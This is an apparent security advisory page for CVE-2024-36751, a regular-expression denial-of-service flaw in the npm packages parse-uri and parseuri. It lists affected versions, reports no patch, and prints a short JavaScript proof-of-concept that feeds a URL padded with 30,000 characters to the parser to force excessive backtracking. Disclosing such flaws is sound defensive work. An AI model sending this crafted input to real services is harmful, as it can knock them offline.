Open-source package vulnerability · npm
CVE-2024-36751: parse-uri Regular expression Denial of Service (ReDoS)
mediumCVSS 4.0 6.9GHSA-6fx8-h7jm-663j
An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL. ## PoC
Published Jan 16, 2025 · Updated Sep 3, 2025
Affected packages
parse-uri
- Ecosystem
- npm
- Affected
- <= 1.0.9
- Fixed in
- No patched version yet
- Check
npm ls parse-uri
parseuri
- Ecosystem
- npm
- Affected
- < 2.0.0
- Fixed in
- No patched version yet
- Check
npm ls parseuri
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.
PoC
async function exploit() {
const parseuri = require("parse-uri");
// This input is designed to cause excessive backtracking in the regex
const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';
const result = await parseuri(craftedInput);
}
await exploit();Credited to dsimk.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
